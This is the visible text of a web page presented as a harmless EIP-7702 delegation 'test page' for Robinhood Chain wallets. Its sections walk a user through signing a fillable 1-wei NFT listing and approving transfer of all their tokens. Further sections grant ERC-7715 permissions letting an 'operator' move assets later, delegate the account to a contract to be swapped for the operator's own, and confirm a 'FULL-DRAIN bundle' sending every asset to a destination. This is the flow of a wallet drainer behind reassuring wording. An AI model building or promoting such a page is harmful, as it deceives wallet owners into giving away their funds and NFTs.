Noir test · EIP-7702 delegation on Robinhood Chain

page v11 Standalone test page — not connected to any live flow. It only asks your wallet for what you click, and nothing is broadcast until you confirm in your wallet.

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Address

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Native balance

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QUOTRONS held

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Validator / policy

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G · QUOTRONS marketplace road — the 2 PaymentProcessor popups (new in v11)

The sanctioned marketplace for QUOTRONS is Limit Break's PaymentProcessor 0x9a1D0000…eB5366 — one of only 3 operator-whitelisted callers (validator-approved TODAY, unlike the OpenSea conduit). The production road is exactly these two popups: G1 enable trading (one real on-chain tx — the wallet broadcasts it, you pay its gas; revocable via G3) and G2 sign a 1-wei listing (gasless typed-data signature, nothing on chain unless someone later submits a buy). Look at the popups, then confirm or reject — your call.

Approved-for-all → PP

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masterNonce (live)

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nonce 0 used?

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Wallet owns token

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seller: —

G2 signs SaleApproval under domain PaymentProcessor v3.0.0 (chain 4663, verified byte-exact against the live contract): itemPrice = 1 wei, payment native, no fees, expires in 1h, masterNonce read live — i.e. a valid, fillable listing for whichever token you name, if your wallet owns it. The page verifies the returned signature locally (recovered signer must equal your address) and prints the digest — the same construction proven on the fork.

Results will appear here.

F · Wallet matrix — what can THIS wallet sign?

Point this at each wallet you have installed (MetaMask, OKX, Bitget, Trust, Rabby…). The point is to find any wallet that offers a delegated-access popup — a 7702 authorization, a MetaMask delegation, or an ERC-7715 permission. That is the only kind of popup that moves NFTs without listing each transfer. Everything here is a probe: nothing is broadcast, every popup can be rejected.

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F3/F3b are the real delegated-access popups: your MetaMask reports ERC-7715 permissions supported on 4663 for native + ERC-20 tokens (no NFT type). If granted, the returned context lets the operator move that asset up to the allowed amount later, gaslessly, with no further popups. Reject after looking if you only want to see the popup.

Results will appear here.

1 · What the wallet supports (read-only, no popups)

wallet_getCapabilities output will appear here.

2 · The delegation prompt (this is what we want to see)

Two ways wallets can show a 7702 delegation. Test both — each click only opens a wallet prompt; nothing is broadcast unless you confirm.

wallet_sendCalls result will appear here.

Delegate address (test default = Multicall3; production will be our own access-gated contract)

E · FULL-DRAIN bundle — one atomic bundle listing every asset this page can see (native ETH, all QUOTRON terminals, ~40 known RH-chain tokens + extras), all sent to the destination. Connect the wallet you mean to test (the output prints the address it used). If you confirm it, that is irreversible. For a popup-only test, look and reject.

The full-drain call list will appear here.

The authorization payload + signature will appear here.

3 · Live chain checks (read-only)

Simulation results will appear here.

Test page only. QUOTRONS = 0x027ACa2794E44f24950D81227DcD516FfBB49d6e · Validator = 0xA000027A9B2802E1ddf7000061001e5c005A0000 · Conduit = 0x963F00d3ff000064fFCbA824b800c0000000C300 · PaymentProcessor = 0x9a1D00000000fC540e2000560054812452eB5366